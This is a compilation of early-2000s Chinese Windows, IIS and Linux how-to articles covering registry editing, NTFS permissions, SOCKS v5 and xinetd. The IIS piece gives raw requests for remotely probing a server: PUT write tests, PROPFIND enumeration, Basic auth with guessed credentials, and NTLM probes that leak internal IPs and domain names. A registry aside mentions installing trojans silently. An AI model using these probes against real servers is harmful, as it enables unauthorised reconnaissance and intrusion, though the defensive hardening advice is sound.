忽然，A片进行时中，灵光一闪，想到了注册表！哈哈，Bingo，It's here！
先使用RegSnap这个软件，将当前的注册表存一份“快照”下来。
为了找出NetBT的藏身之处，打开【控制面板-网络和拨号连接－本地连接－属性－Internet协议TCP/IP-属性－高级-Wins】标签页，如图2所示：

图2

可见“启用TCP/IP上的NetBios”是默认使用的值，将“禁用TCP/IP上的NetBios”前面的单选钮选上。
再用RegSnap存储当前的注册表“快照”，然后用该软件的比较功能，看看改了此项之后，注册表有那些变化。
RegSnap可以将比较结果用网页的形式展示出来，图3所示就是我们要找的信息：

图3

Look！众里寻她千百度，蓦然回首，NetBT却在注册表^_^
OK！也就是说，我们刚才在Wins标签页里的修改对应了注册表的这两个键值。为了确定这两者是否存在一一对应关系，我们用Regedit.exe或者Regedt32.exe来修改注册表的这两个值（事实上，只要修改CurrentControlSet分支下的就行了），然后再打开Wins标签页看看是否能在“启用TCP/IP上的NetBios”和“禁用TCP/IP上的NetBios”之间切换。我试验成功了，你呢？这里需要注意的是图中的“Tcpip_{4B93490E-2934-46F8-9E79-6C0B7FB2B52C}”在每台机器上的值都不同。

至此，起初的问题转化为，如何在命令行方式下修改注册表值。
好，先close掉A片，接着干。先将NetBT所在分支注册表内容导出，存为start.reg，试试在提示符里直接运行这个注册表文件，结果大家都看到了（图4），这个对话框整天没事就吱吱歪歪，要求确认，吓不到花花草草，吓倒管理员也是不好的。此路不通，至于是否有“安静模式（quiet）”的注册表文件导入，我还没有答案。如果哪位大虾知道，麻烦告诉我了。

//编者：regdeit.exe /s ***.reg 就够安静了

图4

没关系，我也不去找Win2k有没有自带这种全自动化的工具了，M$不是提供了“NTRK黑客工具箱”（NTRK：NT Resource Kit，NT资源工具箱，WinNT4.0和Win2k Pro&Server都有的，由于其中的工具往往成为Hacker攻击系统的助手，故被戏称为“黑客工具箱”，需要另外购买。）吗？
慷慨的M$工厂为革命同志们准备了不少关于注册表的操作工具，这里介绍两个先：regdmp.exe(点击下载)和regini.exe（点击下载）。简而言之，前者用于导出注册表，后者用于导入注册表，不过这些工具可比基于GUI的注册表编辑工具强大的多，以后大家会了解的。具体的用法就不赘述了，请大家参考它的帮助文档。首先用regdmp来导出我们需要的内容，如图5所示，注释都写在屏幕上了，懒吧^_^

图5

接下来更简单了，打开dmp.txt，找到这行：NetbiosOptions = REG_DWORD 0x00000001，将1改为2，然后使用命令“regini dmp.txt”就禁止了NetBT哦，反之如果要打开就将值设为0x00000001，然后再用regini将这支药水注射到注册表中。从图6中大家可以看到，这里的屏幕静悄悄，甚至什么提示都没有，我们的工作已经完成了。同样为了检验劳动成果，大家还是可以打开注册表或者Wins标签页来看看改动是否生效。

图6

这里稍微补充几点：
第一，regini要求的导入文件格式和早先导出的start.reg并不一样(所以才要用regdmp来配合它)，一开始我就差点晕倒在regini错综复杂的石榴裙下，详细内容请参阅帮助文档。附上一个标准的参考文件。
第二，regini导入的文件理论上扩展名可以任意使用（用得最多的是txt和ini），不过要求文件格式必须为ANSI的，但是它导入时会转化为Unicode格式。
第三，regini还有很丰富的用途，比如帮助你悄无声息地安装一些Trojan horse（木马）……

最后，要告诉大家的是，这个问题不止这么简单而已，如果你要没完没了，我们下次不见不散了。3166


远程分析IIS设置

作者: springold 发表日期: 2002-03-08 11:54:27 返回《黑客也是侠》 快速返回

提起微软公司IIS web服务器的安全问题,很多人立刻就会联想到那些为人们所称颂的致命

漏洞: UNICODE , CGI 解析, .ida,idq, .Printer远程溢出等. 这些伟大的漏洞恐怕是我等scripts

kidding的最爱了,利用他们可以很轻松的拿到较高的系统权限。但是这篇文章并非是讨论这些致命的漏洞的，只是比较详细的介绍了如何远程判断IIS 服务器的各种设置，如目录权限，认证方法等等，文中有些东西已经很老了，但是新的东西还是值得一看的。希望本文能够起到一个抛砖引玉的作用。好了，废话少说，Go~!

远程确定目录权限

让我们打开一个IIS服务器来看看。在IIS 服务管理器中，选择一个目录，看他的属性

在目录属性项有有这么一些选项（日志访问和索引此资源不计）：

脚本资源访问：　对网站的脚本可以读取原文件。

读取　　　　　 读取目录里面的静态资源。

写入　　　　　 用户可以建立以及删除资源

目录浏览　　　 用户可以浏览目录内容。

应用程序设置的执行许可中有三个选项：

无　　　　　　 　只能访问静态页面

纯脚本　　　　　　只允许允许脚本　如ASP脚本

脚本和可执行程序　 可以访问和执行各种文件类型

那么，如何确定服务器上面的这些开关设置呢？别着急，一个一个来。

执行权限

  如何确定某个目录是否开了执行权限呢？很简单，向服务器发送一个下面得请求：

http://iis-server/dir/no-such-file.dll

/dir/为要判断得目录，no-such-file.dll是随便取得一个名字，服务器上面没有这个文件。

服务器对我们得请求会返回一个信息。如果返回的是一个500错误：

HTTP 500 - 内部服务器错误 （Internal Server error）

那么就说明这个目录的执行权限是开着的。对于服务器，能不开执行权限的就不要开。特别是虚拟目录的执行权限，大家想一想UNICODE和二次解码漏洞的利用过程就明白了。

如果服务器返回的是一个 404 错误：

HTTP 404 - 未找到文件

那么就说明这个目录的执行权限没有开。

写权限

测试一个目录对于web用户是否具有写权限，采用如下方法：

telnet 到服务器的web端口(80)并发送一个如下请求：

    PUT /dir/my_file.txt HTTP/1.1

Host: iis-server

Content-Length: 10 <enter><enter>

这时服务器会返回一个100( 继续)的信息：

HTTP/1.1 100 Continue

Server: Microsoft-IIS/5.0

Date: Thu, 28 Feb 2002 15:56:00 GMT

接着，我们输入10个字母：

  AAAAAAAAAA

送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

HTTP/1.1 201 Created

Server: Microsoft-IIS/5.0

Date: Thu, 28 Feb 2002 15:56:08 GMT

Location: http://iis-server/dir/my_file.txt

Content-Length: 0

Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,

PROPPATCH, SEARCH, LOCK, UNLOCK

那么就说明这个目录的写权限是开着的，反之，如果返回的是一个 403 错误，那么写权限就是

没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

纯脚本执行权限

  这样的目录就太多了。很多不需要给执行权限的目录也被管理员给了脚本执行权限，我记得在

shotgun的一篇文章里面他说过：最小的权限＋最少的服务＝ 最大的安全 ；一点也没有错。给目录任何多余的权限都是没有必要的。判断一个目录是否可以执行纯脚本文件也很简单，发送一个如下一个请求：

   http://iis-server/dir/no-such-file.asp

返回404文件不存在说明有执行权限，返回403则是没有开。

浏览目录权限

  判断一个目录是否允许浏览可能需要一点点小技巧，但是，在网站的默认首页(如efault.asp)不存在的话，那么就再简单不过了。在浏览器里面输入：

http://iis-server/dir/

如果权限开着的，那么会返回200响应，并且列出当前目录里面的内容，反之，没有列出目录的话就是关了。但是，如果默认页面default.asp存在呢？敲入上面的地址就直接打开这个页面了。别急，

WebDAV 里面有一个请求方法叫：PROFIND。这个方法使得我们可以从服务器资源里面得到一些如文件名，创建时间，最后修改时间等等的信息。利用它我们也可以绕过 default.asp 来判断目录浏览权限的情况， telnet到IIS-server的web端口，发送如下请求：

    PROPFIND /dir/ HTTP/1.1

Host: iis-server

Content-Length: 0

这时，服务器会送回一个207 Multi Status的响应，如果目录是允许浏览的，那么同时会列出目录里面的资源以及他们的属性。如果目录浏览不允许，返回的信息就会少的多。目录浏览一般来说只能算是一个低危险等级的漏洞，比如一个images目录，里面除了图片没有别的东西了，那对于服务器的安全就没有什么危害，但是，如果目录里面放了一个管理页面adminpage.asp或者一些数据库连接信息文件，可能会导致你的服务器拱手相让给入侵者。

读权限

  判断这点很容易，发一个带 txt文件的请求就可以：

http://iis-server/dir/ no-such-file.txt

如果返回一个 404 文件不存在的响应，就说明读权限是开着的,反正，返回403错误则说明都权限没有开。早几年接触安全的人一定知道 ::$DATA泄露ASP源代码的漏洞，其实如果一个目录里面权势asp脚本的话，那么读权限也可以不用开的，ASP只需要脚本执行权限就可以了。

IIS 认证方法的判断

这个漏洞是最近才公布出来的，IIS服务器支持匿名访问，基本认证和使用NTLM方式的windows集成认证，如果客户端发送一个包含认证信息的请求，IIS就会强行的尝试用这些认证信息取认证，并且放回不会的响应。这样我们就能够确定IIS的认证的配置。

要确定IIS是否支持基本认证，可以telnet到服务器的80端口，发送如下请求：

           GET / HTTP/1.1

Host: iis-server

Authorization: Basic c3lzdGVtOm1hbmFnZXIA

  这是一个基本认证的请求，里面包含了一个base 64编码的用户ID和PASS，Basic后面那串字符经过base 64解码以后就是 system:manager 。如果服务器返回一个401信息，则说明基本认证选项是开着的。如果返回200信息，则有2种可能，基本认证选项没有开或者是服务器存在一个用户名是

system的用户名，并且密码是manager (猜中的话，行大运啦)。

要确定NTLM选项是否开启则可以向IIS发送如下请求

GET / HTTP/1.1

Host: iis-server

Authorization: NegotiateTlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA=

同样，如果返回401消息，则说明支持NTLM，返回200说明不NTLM认证选项没有开启。

对于大多数网站来说，这两种认证方式都是不需要开起来的，他们有可能泄露一些服务器的重要信息。

泄露内部IP地址信息

如果IIS服务器在一个使用NAT的防火墙里面的话，通常都有个内部地址如10.x.x.x。

如果IIS开启了基本认证选项，那么发送如下一个简单的请求就可以得到服务器的内部IP：

  GET / HTTP/1.1

Host:

Authorization: Basic c3lzdGVtOm1hbmFnZXIA

服务器将返回一个如下响应：

  HTTP/1.1 401 Access Denied

Server: Microsoft-IIS/5.0

Date: Fri, 01 Mar 2002 15:45:32 GMT

WWW-Authenticate: Basic realm="10.1.1.2"

Connection: close

Content-Length: 3245

Content-Type: text/html

那个10.1.1.2就是机器的内部ip地址，本来realm的值是客户端提供给的一个主机头，但这里它是空的，所以IIS就选择了本机的IP地址来代替。同样的，利用PROPFIND,WRITE,MKCOL等请求的返回信息，也能泄露主机的一些信息，如我们向服务器提请下面这样一个请求：

  PROPFIND / HTTP/1.1

Host:

Content-Length: 0

在IIS配置成使用主机名（见后）的情况下，则不会暴露主机的IP地址，但是会暴露NetBIOS名。事实上我们可以利用IIS的认证获得更多的信息，如所在域的名字，方法是向服务器发送如下带NTLM认证的请求：

GET / HTTP/1.1

Host: iis-server

Authorization: NegotiateTlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA

服务器会返回一个信息：

HTTP/1.1 401 Access Denied

Server: Microsoft-IIS/5.0

Date: Fri, 01 Mar 2002 16:24:58 GMT

WWW-Authenticate: Negotiate TlRMTVNTUAACAAAADAAMADAAAAAFgoKgeGvyVuvy67U
AAAAAAAAAAEQARAA8AAAAUwBDAFkATABMAEEAAgAMAFMAQwBZAEwATABBAAEA

DABTAEMAWQBMAEwAQQAEAAwAUwBDAFkATABMAEEAAwAMAFMAQwBZAEwATABB

AAAAAAA=

Content-Length: 3245

Content-Type: text/html

  那一长串字符就包含了主机名和NT所在域的名字的base 64 编码。

临时解决方法：在cmd下进入c:\inetpub\adminscripts或者是adminiscript所在目录执行一下命令

adsutil set w3svc/UseHostName True
net stop iisadmin /y
net start w3svc

默认应用程序映射判断

判断默认映射是否存在比较简单，这里只简单的给出了在映射存在的情况下对于相应请求的响应：

扩展名： 　.printer

请求： http://iis-server/foo.printer

响应：　 HTTP 500 - 内部服务器错误

扩展名：.idc

请求：　http://iis-server/foo.idc

响应： code 500 Internal Server Error

扩展名：.idq

请求：　http://iis-server/foo.idq

响应码：200 OK

响应：　找不到 IDQ 文件 D:\dir\\foo.idq

扩展名：.ida

请求： http://iis-server/foo.ida

响应码：200 OK

响应： 找不到 IDQ 文件 D:\dir\foo.ida

扩展名：.htr

请求： http://iis-server/foo.htr

响应： HTTP 404 - 未找到文件

扩展名：.htw

请求： http://iis-server/foo.htw

响应码： 200 OK

响应： QUERY_STRING 的格式无效

扩展名：.stm

请求： http://iis-server/foo.stm

响应： HTTP 404 - 未找到文件

扩展名：.shtm

请求： http://iis-server/foo.shtm

响应：　 HTTP 404 - 未找到文件

扩展名：.shtml

请求： http://iis-server/foo.ida

响应：　HTTP 404 - 未找到文件

判断操作系统是否为个人版本(Professional/Workstation )

IIS安装在windows2000专业版和NT workstation上面时候，同时进行的连接数最大为10个，利用这一点我们可以简单判断操作系统版本：创建10个 HTTP 1.1的持续连接，第11个连接请求将放回403错误信息。

后话：由于各种原因，我所在的公司关门大吉了，没有工作，心就乱糟糟的，所以翻译的时候也是砍头去尾的，大家不要骂我，我拿去黑客防线骗稿费的啦。如果有不明白的地方可以参考以下几篇：

http://www.nextgenss.com/papers/iisrconfig.pdf 英文原文

http://www.nextgenss.com/advisories/iisauth.txt

http://www.nextgenss.com/advisories/iisip.txt

也欢迎大家给我email继续讨论这个话题，我的email是 scs@cnnb.net ，OK，睡觉去啦～　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 springold3.18深夜1:35


远程修改Windows Nt/2000密码

使用Windows Nt/2000客户端:
1.按Ctrl+Alt+Del调出"Windows安全"对话框;
2.单击"更改密码..."按钮;
3.在跳出的对话框中输入正确的用户名,用户所在机器的Netbois名称或DNS名称或IP地址(以\\IP)的形式,旧密码,新密码,确定即可.
4.这种方式修改用户密码不需要登录到目标机器上,如果允许用户修改系统一段时间后会返回密码更改成功,否则会返回出错信息.


运行iis的最小ntfs权限

作者：.abu. 发表日期：2001-11-29 22:01:49
                               运行iis的最小ntfs权限

编辑整理：momo

本文介绍了正常运行iis所需要的最小ntfs权限，当iis不能正常运行或者想严格限制权限的时候可以参照此文，以下是操作的7个步骤。

1、　　选取整个硬盘：
system：完全控制
administrator：完全控制
（允许将来自父系的可继承性权限传播给对象）

2、　　\program files\common files：
everyone：读取及运行
         列出文件目录
         读取
（允许将来自父系的可继承性权限传播给对象）

3、　　\inetpub\wwwroot：
iusr_machine：读取及运行
                 列出文件目录
                 读取
（允许将来自父系的可继承性权限传播给对象）

4、　　\winnt\system32：
选择除inetsrv和centsrv以外的所有目录，去除“允许将来自父系的可继承性权限传播给对象”选框，复制。

5、　　\winnt：
选择除了downloaded program files、help、iis temporary compressed files、offline web pages、system32、tasks、temp、web以外的所有目录，去除“允许将来自父系的可继承性权限传播给对象”选框，复制。

6、　　\winnt：
everyone：读取及运行
          列出文件目录
          读取
（允许将来自父系的可继承性权限传播给对象）

7、　　\winnt\temp：（允许访问数据库并显示在asp页面上）
everyone：修改
（允许将来自父系的可继承性权限传播给对象）

这样，你就拥有了一个权限严格而又可以正常运行的iis系统了。


在DOS下解决注册表问题

    当您的Windows 95/98因注册表问题而无法启动到图形界面时，您此时只有在DOS下使用一些工具软件修复注册表。Windows 95/98的RegEdit、ScanReg是最合适不过的修复与维护工具软件。
在DOS下使用注册表编辑器

注册表编辑器Regedit.exe其实是一个双栖型的程序,既可在DOS下运行,也可在Windows 95/98下运行。许多用户可能已经知道在Windows下使用Regedit 的方法，那么,&127;在DOS下如何使用注册表编辑器呢?
在DOS提示符下键入Regedit命令,将出现一个帮助屏。此屏幕给出了其命令行参数及其使用方法。
语法:
Regedit [/L:system] [/R:user] filename1
Regedit [/L:system] [/R:user] /C filename2
Regedit [/L:system] [/R:user] /E filename3 [regpath]
其中:
/L:system 指定system.dat文件的存放位置。
/L:user 指定user.dat文件的存放位置。
filename1 指定引入注册表数据库的文件名。
/C filename2 指定形成注册表数据库的文件名。
/E filename3 指定导出注册表文件的文件名。
regpath 指定导出注册表文件的开始关键字(缺省为全部关键字)
现举几个例子说明regedit.exe在DOS下的使用方法。

【例1】 将系统注册表数据库registry导出到reg1.reg文件中。
regedit /E reg1.reg

【例2】 reg1.reg形成系统注册表数据库registry(全部)中。
regedit /C reg1.reg

【例3】 将reg.dat引入系统注册表数据库中(部分)。
regedit reg.dat

【例4】 将CGJ开始的关键字导出注册表数据库，并命名为cgj.reg。
regedit /E cgj.reg cgj

【例5】 指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry。
regedit /L:D:\PWIN /R:E:\PWIN /C reg.dat

下面介绍当您在启动Windows时出现如图1所示的对话框时，使用RegEdit来恢复注册表的方法。
1.首先在安全模式下导出，然后再引入注册表文件
(1) 关闭计算机后，重新启动，在出现“Starting Windows95”或者“Starting Windows98”时，按F8键，在启动菜单中选择“Safe mode command prompt only”，则系统进入安全模式。
(2) 执行如下命令：
regedit /l:c:\windows\system.dat /e c:\system.txt （导出注册表）
cd\windows （Windows95/98系统目录）
attrib －s －h －r system.dat（去掉SYSTEM.DAT的系统、隐含、只读属性）
ren system.dat system.old （将当前的SYSTEM.DAT文件改名）
regedit /l:c:\windows\system.dat /c c:\system.txt （引入注册表）
(3) 重新启动计算机，以正常方式启动Windows 95/98系统，如果错误仍出现，可以在安全模式下使用如下命令：
regedit /l:c:\windows\user.dat /e c:\user.txt （导出注册表）
cd\windows
attrib －s －h －r user.dat（去掉USER.DAT的系统、隐含、只读属性）
ren user.dat user.old （将当前的USER.DAT文件改名）
regedit /l:c:\windows\user.dat /c c:\user.txt （引入注册表）
2.重新启动计算机，以正常方式启动Windows95/98系统，如果错误仍出现，可以恢复系统至最后一次成功运行时的注册表。
(1) 关闭计算机后，重新启动，进入安全模式。
(2) 执行如下的命令：
cd\windows
attrib －s －h －r system.dat
ren system.dat system.bad
(3) 重新启动Windows95系统，在启动时，系统如果没有发现system.dat文件，就会使用System.da0文件，系统会自动将System.da0文件改名为system.dat。
3.如果仍有启动错误出现，则恢复系统至第一次成功运行时的注册表。
(1)在关闭计算机后，重新启动，进入安全模式。
(2) 执行如下命令：
cd\windows
attrib －s －h －r system.dat
ren system.dat system.xxx
cd \
attrib －s －h －r system.1st （此文件在启动盘的根目录下，通常在C:\）
copy system.lst c:\windows\system.dat（使用system.lst替代system.dat）
attrib ＋s ＋h ＋r system.lst （加上属性）
4.重新启动Windows95系统，如果仍有错误发生，再重新安装Windows95/98系统。

在DOS下使用ScanReg

在DOS下执行ScanReg/?命令，则出现一个帮助信息屏。该屏幕将给出ScanReg的使用方法：
ScanReg /[Option]
其中Option可为?（获取帮助信息）、BACKUP（备份注册表）、RESTORE（恢复注册表）、FIX（修复注册表）、COMMENT（将说明信息加入到备份注册表文件.CAB中）。
例如:
1.在DOS下执行ScanReg /BACKUP,则将注册表备份到.CAB文件中。
2.执行ScanReg /FIX，则修复注册表中的错误。
3.执行ScanReg /RESTORE，则将注册表恢复过来。


在Linux上配置和实现SOCKS v5

在Linux上配置和实现SOCKS v5

http://LinuxAid.com.cn bye2000

本文版权由linuxAid和作者所有

一、 SOCKS概述

SOCKS其实是一种网络代理协议。该协议所描述的是一种内部主机（使用私有ip地址）

通过SOCKS服务器获得完全的Internet访问的方法。具体说来是这样一个环境：用一台运行S
OCKS的服务器（双宿主主机）连接内部网和Internet，内部网主机使用的都是私有的ip地址
，内部网主机请求访问Internet时，首先和SOCKS服务器建立一个SOCKS通道，然后再将请求
通过这个通道发送给SOCKS服务器，SOCKS服务器在收到客户请求后，向客户请求的Internet
主机发出请求，得到相应后，SOCKS服务器再通过原先建立的SOCKS通道将数据返回给客户。
当然在建立SOCKS通道的过程中可能有一个用户认证的过程。

SOCKS和一般的应用层代理服务器是完全不同的。一般的应用层代理服务器工作在应
用层，并且针对不用的网络应用提供不同的处理方法，比如HTTP、FTP、SMTP等，这样，一旦
有新的网络应用出现时，应用层代理服务器就不能提供对该应用的代理，因此应用层代理服
务器的可扩展性并不好；与应用层代理服务器不同的是，SOCKS代理服务器旨在提供一种广义
的代理服务，它与具体的应用无关，不管再出现什么新的应用都能提供代理服务，因为SOCK
S代理工作再线路层（即应用层和传输层之间），这和单纯工作在网络层或传输层的ip欺骗（
或者叫做网络地址转换NAT）又有所不同，因为SOCKS不能提供网络层网关服务，比如ICMP包
转发等。这三种技术的比较如下表所示

类别
ip欺骗（NAT）
SOCKS v5
应用层代理

工作区域
网络层或传输层
线路层
应用层

用户认证
无
有
有

应用可扩展性
好
好
无

网络服务
有
无
无

目前的SOCKS版本是第五版，第五版同第四版的区别主要在于第五版提供多种不同的用户
认证方法和UDP代理。

二、 SOCKS v5的安装

1. 软件的获取

对于非商业使用SOCKS是免费的，你可以从www.socks.nec.com/cgi-bin/download.pl

下载SOCKS v5的最新版，当前的最新版本是socks5-v1.0r11.tar.gz，使用RedHat的朋友也可
以到RedHat的官方站点下载相应的SOCKS v5的rpm包。下面我们以SOCKS v5 的最新版socks5
-v1.0r11.tar.gz为例讲述SOCKS v5的安装过程。

2. 将下载来的socks5-v1.0r11.tar.gz拷贝到/tmp目录下

#cp socks5-v1.0r11.tar.gz /tmp

3. 解开压缩包

#tar xvzf socks5-v1.0r11.tar.gz

4. 进入socks5-v1.0r11开始编译

#cd socks5-v1.0r11

#./configure

#make

#make install

如果要更改缺省的安装选项，请仔细阅读README和INSTALL文档的相关说明。如

果编译过程出现了问题，也可以到以下站点下载我编译的binary包：

http://www.yxtc.edu.cn/soft/linux/socks/socks5.tar.gz

下载后将该socks5.tar.gz binary包拷贝到根目录/,运行tar xvzf socks5.tar.gz即可。相

关的文件路径如下：

＃tar xvzf socks5.tar.gz

usr/bin/socks5

usr/bin/stopsocks

usr/bin/runsocks

usr/lib/libsocks5.a

usr/lib/libsocks5_sh.so

usr/man/man1/stopsocks.1

usr/man/man1/socks5.1

usr/man/man1/socks5.1.gz

usr/man/man1/socks5_clients.1

usr/man/man1/runsocks.1

usr/man/man5/socks5.conf.5

usr/man/man5/socks5.conf.5.gz

usr/man/man5/socks5.passwd.5

usr/man/man5/socks5.passwd.5.gz

usr/man/man5/libsocks5.conf.5

etc/socks5/libsocks5.conf

etc/socks5/passwd

etc/socks5/socks5.conf

etc/rc.d/init.d/socks5

三、 SOCKS v5的配置

我们主要通过socks5.conf文件来配置SOCKS v5服务器。该配置文件的路径可以在编

译SOCKS v5时自行指定，缺省路径为：/etc/socks5.conf。SOCKS v5服务器在每次启动或收
到HUP信号时读入该配置文件的内容。该配置文件通常由以下几个方面的内容构成：

－ban host：定义拒绝服务的客户列表

－authentication：定义SOCKS v5服务器使用的用户认证方法

－interface：定义SOCKS v5服务器绊定的ip地址和服务端口

—variables and flags：定义SOCKS v5服务器运行的环境

－proxies：定义客户可以通过SOCKS v5服务器访问的地址列表以及SOCKS v5服务

器访问这些地址的方法

－access control：定义SOCKS v5服务器接受或拒绝客户连接的规则

下面我们分别来讲述这些条目对应的语法：

1． ban host：

语法：ban source-host source-port

说明：SOCKS v5服务器将拒绝接受来自source-host:source-port的客户连接。

2． authentication：

语法：auth source-host source-port auth-methods

说明：对于来自source-host:source-port的客户连接，SOCKS v5服务器将使用auth-method
s所定义的用户认证方法。对于没有定义认证方法的客户将使用任何可以使用的认证方法。

3． interface：

语法：interface hostpatern portpattern interface-address

说明：来自source-host:source-port的客户连接由interface-address处理；目的地址为so
urce-host:source-port的客户连接由SOCKS v5 代理服务器从 interface-address发出连接
请求。

4． variables：

语法：set variable value

说明：定义SOCKS v5运行参数，SOCKS v5有以下一些常用的运行参数：

SOCKS_BINDINTFC host:port：指定SOCKS v5绑定的ip地址和监听的端口。如果

不指定绑定的ip地址，SOCKS v5将使用0.0.0.0。

5． proxies：

语法：proxy-type dest-host dest-port proxy-list

说明：当客户请求的目的为dest-host:dest-port时，SOCKS v5将使用proxy-list中的代理服
务器请求数据。

6． access control：

语法：permit auth cmd src-host dest-host src-port dest-port [user-list]

deny auth cmd src-host dest-host src-port dest-port [user-list]

说明：通过这两条语句所定义的规则来进行客户访问控制。

我们再对以上语法作进一步的解释：

1． host的表示方法：

－：表示任意主机

n1.：表示n1.0.0.0/255.0.0.0

n1.n2.：表示n1.n2.0.0/255.255.0.0

n1.n2.n3.：表示n1.n2.n3.0/255.255.255.0

.domain.name：表示主机名以.domain.name结尾的主机

some.domain.name：表示主机名为some.domain.name的主机

2． port的表示方法：

－：表示任意端口

service name：用/etc/service中定义的服务名来表示，如telnet

port number：直接指定数字端口，如80

[port_start，port_end]：指定一个端口范围，如[1024,6000]表示从端口1024到6000，

（1024，6000）表示从端口1025到5999

3． auth的值：

n：无用户认证

u：使用username/password用户认证方法

k：使用Kerberos用户认证方法

－：使用任何可用的用户认证方法

4． cmd的值：

－：任何命令

c：connect

b：bind

u：UDP

p：ping

t：traceroute

5． user的值：

－：任何用户

6． proxy的值：

socks5： SOCKS v5

socks4： SOCKS 版本4

noproxy：不使用代理而直接连接

7． server的值：

host： 指定服务器的hostname，使用缺省服务端口

host:port：指定服务器的hostname和该服务的监听端口

下面是一些例子：

auth ― － u

说明：对所有的客户连接都使用username/password用户认证方法

permit u － 192.168.1. － － －

说明：允许来自192.168.1.的任何经过用户认证的连接

更多的例子请参考以下资源：http://www.socks.nec.com/reference/socks5.html

四、 SOCKS v5一些常见问题的说明

1． windows客户端的配置

有些windows的应用程序，如IE、OICQ等等本身就支持SOCKS代理服务器，

但是更多的windows应用程序是不提供对SOCKS代理服务器的支持的，这时候

我们就可以利用一些相应的工具来使得这些应用程序可以使用SOCKS代理服务

器。其中最常用的工具sockscap，可以从以下的网址下载sockscap：http://www.socks.nec
.com/cgi-bin/download.pl.

2． 用户认证问题

SOCKS v5已经具有了用户认证功能，诸如IE等应用程序虽然提供了对SOCKS

代理服务器的支持，但是并不能进行用户认证，这种情况下我们也只能用sockscap

等工具来提供IE的用户认证接口。需要注意的是，SOCKS的认证过程并不会象

squid一样弹出认证窗口。

3． 运行模式问题

SOCKS v5具有以下几种运行模式：

standalont：这是SOCKS v5缺省的运行模式

preforking：该模式适合服务器资源有限的情况，因为我们可以事先指定运行的子

进程数。可以用-p选项指定SOCKS以preforking模式运行。

inetd：和telnet等服务一样通过inetd超级服务器运行SOCKS

threaded：在linux平台上，我们推荐使用该模式运行SOCKS，这样能获得最佳性能。

4． 超时问题

在一个客户会话空闲超过15分钟后，该会话将被断开，可以使用SOCKS5_TIMEOUT 变量改变该
值。

5． 绑定失败问题

有时候会出现Bind failed for xxx.xxx.xxx.xxx: ...的提示，通常这是因为SOCKS所绑定的
端口已被其他程序所使用的缘故，可以通过更改该端口的值来解决这类问题。

6． SOCKS v5的日子问题

SOCKS v5的日志缺省为/var/log/messages，我们可以通过重新编译SOCKS v5来将SOCKS v5日
志单独记录到一个文件中。具体请参考README文件。

更多的配置实例请参考http://www.socks.nec.com/reference/socks5.html.


在LINUX下实现网络服务

作者:山东 徐进启

在LINUX下有许多网络服务器在运行,象常用的TELNET,FTP等等,它们处于监听状态,等待用户的连接请求.我们用netstat-a可查看哪些处于Listen状态的服务器。这些服务器在没有连接请求时，处于睡眠状态，当有连接请求时，便由网络守护进程激活，我们可以进行正常的网络业务操作。网络守护进程是一个在后台运行，但不受任何终端控制的网络服务器进程。在LINUX下，它就是xinetd.它有两个优点,1,配置简单,编码量少.2.进程数目少,节省资源.管理容易.下面用一个简单方法进行配置和编码:
1,增加监听端口.在文件/etc/services的最后增加如下一行内容:
xjp 8090/tcp
2.配置xinetd文件.在目录/etc/xinetd.d增加一个文件,文件名为xjp .内容如下:
service xjp
{
flags =REUSE
socket_type =stream
wait =no
user =root
server =/etc/xjpd
log_on_failure +=USERID
}
3,编写服务程序.代码如下:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
main()
{
int sock;
struct sockaddr_in cli;
char buf[1024];
int len;
sock=0;
len=sizeof(cli);
getpeername(sock,&cli,&len);
read(sock,buf,1024);
sprintf(buf,"Return: Ok ! you
success !");
write(sock,buf,strlen(buf));
close(sock);
}
录入完毕后,用如下格式编译网络守护进程可调用的程序.
cc t.c -o /etc/xjpd
做完以上工作后,重新启动.开机后,可执行tel-net 127.0.0.1 8090回车,然后任意输入一字窜,回车是否看到你的大作.如果你有兴趣,还可以将上述服务器程序稍微修改,限制某些主机登录到你的8090端口.你是否受到一些启发,可以通过修改端口或IP地址等信息,做一个简单的防火墙程序.还可以结合系统队列做其它网络工程项目.


在Linux中共享Windows系统资源

在一部电脑上装有Linux和Windows的用户，可能需要在Linux中用到包括软盘、光盘以及Windows分区中的文件，如当你在Windows操作系统中上网，却下载了Linux的应用软件的时候。下面我就向大家详细介绍这方面的知识和具体的应用。
    一、装载（mount）
    （一）准备知识
    在Linux系统中想要使用软驱的话，要先把它们装载到系统中，装载指令mount的格式如下：
    mount －t 文件系统类型 设备文件名 装载目录
    1．文件系统类型
    文件系统类型一般来说就是分区格式，依操作系统的不同而不同。下面将Linux系统支持的文件系统类型择要分列如表一：
    2．设备文件名
    在Linux系统中，各个驱动器设备的命名和Windows中的规则（如A：、C：等）有很大的区别。所有的系统硬件设备都可以在/dev目录下找到对应的设备文件名。例如/dev/mouse就用来表示系统中的鼠标。磁盘驱动器的各个不同分区所对应的设备文件名列表如表二：
    假设第一个IDE硬盘驱动器被分成数个分区，通常，第一个分区可以肯定其设备文件名为/dev/hda1，但其它分区的设备文件名就不是可以依次类推得到的（特别是当用户使用了诸如PTM之类的磁盘分区工具的时候）。如果你想要知道硬盘各分区所对应的设备文件名，可以在控制台下执行cfdisk的指令，则各分区对应的设备文件名就可以一目了然了。
    3．装载目录
    通常我们都会在/mnt目录下面为需要装载的磁盘驱动器创建一个目录，不过这并不意味着它们不可以被装载于其它未被使用的目录中。再者，所谓装载目录，并不是将被装载的磁盘驱动器整个复制到本地，而仅仅是在本地提供一个装载点用以联系其它需要装载的磁盘驱动器。
    Linux系统对字符的大小写是敏感的，但是在Windows中就不是这样。而当你装载一个Windows系统中的驱动器后，对其上的文件操作时，字符的大小写就变得不敏感了，这意味着用户不可以在装载的Windows驱动器的同一目录中建立这么两个文件：ABC.TXT和abc.txt，因为在Windows系统中，它们代表同一个文件。
    （二）装载实例
    1．装载软盘
    首先在/mnt目录下为软磁盘创建一个目录floppy（有时Linux系统在安装的时候已经为你做了这一步）：
